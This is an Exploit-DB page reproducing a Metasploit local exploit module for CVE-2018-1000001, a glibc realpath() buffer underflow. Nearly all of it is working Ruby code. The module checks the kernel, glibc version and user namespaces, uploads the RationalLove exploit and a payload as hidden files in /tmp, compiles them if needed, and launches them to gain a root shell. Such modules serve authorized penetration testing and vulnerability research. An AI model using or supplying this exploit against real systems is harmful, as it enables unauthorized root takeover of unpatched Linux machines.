glibc – ‘realpath()’ Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2018-06-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44889/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = NormalRanking
    
    include Msf::Post::File
    include Msf::Post::Linux::Priv
    include Msf::Post::Linux::System
    include Msf::Post::Linux::Kernel
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => "glibc 'realpath()' Privilege Escalation",
    'Description'=> %q{
    This module attempts to gain root privileges on Linux systems by abusing
    a vulnerability in GNU C Library (glibc) version 2.26 and prior.
    
    This module uses halfdog's RationalLove exploit to exploit a buffer
    underflow in glibc realpath() and create a SUID root shell. The exploit
    has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.
    
    The target system must have unprivileged user namespaces enabled.
    
    This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)
    with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
    version 2.24-11+deb9u1.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'halfdog',# Discovery and RationalLove.c exploit
    'Brendan Coles' # Metasploit
    ],
    'DisclosureDate' => 'Jan 16 2018',
    'Platform' => [ 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=> [[ 'Auto', {} ]],
    'Privileged' => true,
    'References' =>
    [
    [ 'AKA', 'RationalLove.c' ],
    [ 'BID', '102525' ],
    [ 'CVE', '2018-1000001' ],
    [ 'EDB', '43775' ],
    [ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],
    [ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],
    [ 'URL', 'https://securitytracker.com/id/1040162' ],
    [ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],
    [ 'URL', 'https://usn.ubuntu.com/3534-1/' ],
    [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]
    ],
    'DefaultTarget'=> 0))
    register_options [
    OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
    end
    
    def base_dir
    datastore['WritableDir'].to_s
    end
    
    def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup path
    end
    
    def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
    end
    
    def upload_and_compile(path, data)
    upload "#{path}.c", data
    
    gcc_cmd = "gcc -w -o #{path} #{path}.c"
    if session.type.eql? 'shell'
    gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
    
    unless output.blank?
    print_error output
    fail_with Failure::Unknown, "#{path}.c failed to compile"
    end
    
    register_file_for_cleanup path
    cmd_exec "chmod +x #{path}"
    end
    
    def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
    end
    
    def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
    
    if has_gcc?
    vprint_good 'gcc is installed'
    return true
    end
    
    unless datastore['COMPILE'].eql? 'Auto'
    fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
    end
    
    def check
    version = kernel_release
    if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')
    vprint_error "Linux kernel version #{version} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"
    
    arch = kernel_hardware
    unless arch.include? 'x86_64'
    vprint_error "System architecture #{arch} is not supported"
    return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"
    
    unless userns_enabled?
    vprint_error 'Unprivileged user namespaces are not permitted'
    return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'
    
    version = glibc_version
    if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')
    vprint_error "GNU C Library version #{version} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{version} is vulnerable"
    
    # fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1
    glibc_banner = cmd_exec('ldd --version')
    unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')
    vprint_error 'No offsets for this version of GNU C Library'
    return CheckCode::Safe
    end
    
    CheckCode::Appears
    end
    
    def exploit
    if is_root?
    fail_with Failure::BadConfig, 'Session already has root privileges'
    end
    
    if check != CheckCode::Appears
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
    
    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
    fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end
    
    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    @executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
    vprint_status 'Live compiling exploit on system...'
    upload_and_compile @executable_path, exploit_data('RationalLove.c')
    else
    vprint_status 'Dropping pre-compiled exploit on system...'
    upload_and_chmodx @executable_path, exploit_data('RationalLove')
    end
    
    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    
    # Launch exploit
    print_status 'Launching exploit...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30
    output.each_line { |line| vprint_status line.chomp }
    end
    
    def on_new_session(client)
    # remove root owned SUID executable
    if client.type.eql? 'meterpreter'
    client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
    client.fs.file.rm @executable_path
    else
    client.shell_command_token "rm #{@executable_path}"
    end
    end
    end